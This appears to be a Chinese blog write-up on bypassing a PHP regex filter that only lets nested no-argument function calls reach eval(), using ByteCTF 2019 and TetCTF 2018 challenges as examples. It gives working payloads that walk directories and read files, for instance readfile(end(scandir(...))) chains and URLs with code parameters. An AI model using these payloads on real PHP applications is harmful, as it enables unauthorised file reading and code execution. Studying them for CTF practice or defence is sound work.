最近碰到了php无参数执行的题,看了觉得很有意思,mark一下

简单说一下:无参数执行这个为什么会产生;一般我们要是看见eval(_GET['wtfk'])就可以参数执行啦,但是很有可能碰到这个waf:

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $arg) {    
eval($arg);
}

划重点:'/[^\W]+\((?R)?\)/'等同于'/[a-z]+\((?R)?\)/'

这是一个递归正则,就是无限嵌套无参函数;比如a(b(c()))这样就可以;a(b(90))就不行

应对方法

参考链接:PHP Parametric Function RCE

具体的我就不说太多了,参考链接里面写得非常好

罗列一下,大概是,获取变量的、获取随机数的、环境列表、操作数组的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
getenv(void): array; // 全局变量
array_flip(array $array): array; //交换键值

getallheaders(): array; //get http header 变量;apache专属

get_defined_vars(): array; // 回显 $_GET $_POST $_FILES $_COOKIE

session_id(); //修改session_id的值然后再取出

//读取文件;
dirname(); //上层目录跳转
chdir();
getcwd(); //=pwd命令
scandir(); // array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

实例

bytectf 2019 - boring code

bytectf(2019)有一道题目,boring code是讲这个的,

参考链接:https://www.xmsec.cc/bytectf-2019-web-writeup/ 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
var_dump($code);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);

}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}

这道题目具体是要通过baidu.com结尾的网站跳转到poc然后解析无参poc最后读取到ctf flag文件

读当前目录的payload echo(readfile(end(scandir("."))))当然需要读取的是上一层,所以是next(scandir(".")) 拿到 ..,然后 chdir(next(scandir(".")))就可以退到上一层目录了;退到上一层目录之后,要读取index.php的内容,就用读取当前目录payload嵌套一遍呀~

最后是,如何产生".“,chr(pos(localtime())),第46秒,是chr(46)=”."

所以最后的payload

readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime()))))))))))));

另外一个读取上一层目录文件的payload:

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

TetCTF 2018 - PHP limit Revenge

题目也差不多,与bytectf2019是同一个正则,所以来看看他的思路https://tuanlinh.gitbook.io/ctf/tetctf-2018

php limit revenge1

http://139.180.219.222/?code=print(readfile(end(scandir(realpath(chr(rand()))))));

http://139.180.219.222/?code=print(readfile(end(scandir(realpath(chr(ord(join(localeconv()))))))));

php limit revenge2

限制了函数貌似,而且也需要返回到上层目录

http://45.76.181.81/?code=print(readfile(end(scandir(chr(octdec(ord(ceil(sqrt(ord(exp(chdir(next(scandir(current(localeconv())))))))))))))));

是这样的:

1
2
3
4
5
6
7
exp(1) = e^1 = 2.xxxx
ord(2) = 50
sqrt(50) = 7.xx
ceil(7.x) = 8
ord('8') = 56
oct2dec(56) = 46
chr(46) = '.'

其中 chr(octdec(ord(ceil(sqrt(ord(exp())))))) 返回了 . 这个符号,exp 的参数是 true,即 1。最内层的 current(localeconv()) 函数返回 .